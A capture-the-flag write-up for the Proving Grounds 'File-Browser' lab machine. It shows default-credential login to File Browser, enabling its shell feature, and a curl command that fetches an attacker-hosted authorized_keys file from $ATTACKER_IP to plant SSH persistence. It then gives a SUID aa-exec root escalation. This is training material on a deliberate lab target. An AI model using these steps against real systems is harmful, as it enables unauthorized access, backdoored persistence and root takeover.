Skip to content
HackIndex.io

File-Browser Writeup - Proving Grounds

Intermediate Linux
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 2 min read

The Husky Hacker

sysadmin

File Browser is left with default credentials and its shell-execution feature enabled, giving authenticated command execution. Planting an SSH key in david's authorized_keys gives a stable foothold, and a SUID aa-exec binary hands over root through GTFOBins.

Reconnaissance

Nmap

Scan for open ports.

┌──(kali㉿kali)-[~]
└─$ nmap -Pn --open $TARGET_IP 
22/tcp   open  ssh
8080/tcp open  http-proxy

Port 8080 hosts a File Browser login portal. Default credentials admin:admin work.

Exploitation

Enabling command execution

File Browser has a shell toggle in the top bar, but commands are disabled by default. From Settings -> User Management, enable the system executables (space-separated): id bash nc rm sudo find cd echo mkdir touch ls cat curl wget. Toggling the shell icon now runs commands directly.

SSH access as david

An SSH private key exists for the user david, but password authentication is enabled on the service, so the key alone will not log in. Instead, host a public key and write it into authorized_keys through the enabled shell.

┌──(kali㉿kali)-[~]
└─$ ls -la /home/david/.ssh 
id_rsa  id_rsa.pub  authorized_keys
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server $ATTACKER_PORT 
Serving HTTP on 0.0.0.0 port $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ curl $ATTACKER_IP:$ATTACKER_PORT/authorized_keys -o /home/david/.ssh/authorized_keys
┌──(kali㉿kali)-[~]
└─$ ssh david@$TARGET_IP 
david@filebrowser:~$ id
uid=1001(david) gid=1001(david) groups=1001(david)

Privilege Escalation

SUID aa-exec (GTFOBins)

Look for SUID binaries.

┌──(kali㉿kali)-[~]
└─$ find / -type f -perm -4000 2>/dev/null 
/usr/bin/aa-exec
/usr/bin/sudo
/usr/bin/su
/usr/bin/passwd
/usr/lib/openssh/ssh-keysign

aa-exec is SUID. GTFOBins lists a direct privilege escalation for it.

┌──(kali㉿kali)-[~]
└─$ aa-exec /bin/sh -p 
# id
uid=1001(david) gid=1001(david) euid=0(root) groups=1001(david)

Related

Web Misconfiguration Scan
Blog

Web Misconfiguration Scan
Linux SSH Authorized Keys Persistence
Blog

Linux SSH Authorized Keys Persistence

Covers abusing SSH authorized_keys files to maintain persistent backdoor access on Linux systems by...
SUID and SGID Binary Privilege Escalation
Blog

SUID and SGID Binary Privilege Escalation

Exploit misconfigured SUID/SGID binaries on Linux to escalate privileges by abusing executables that...

References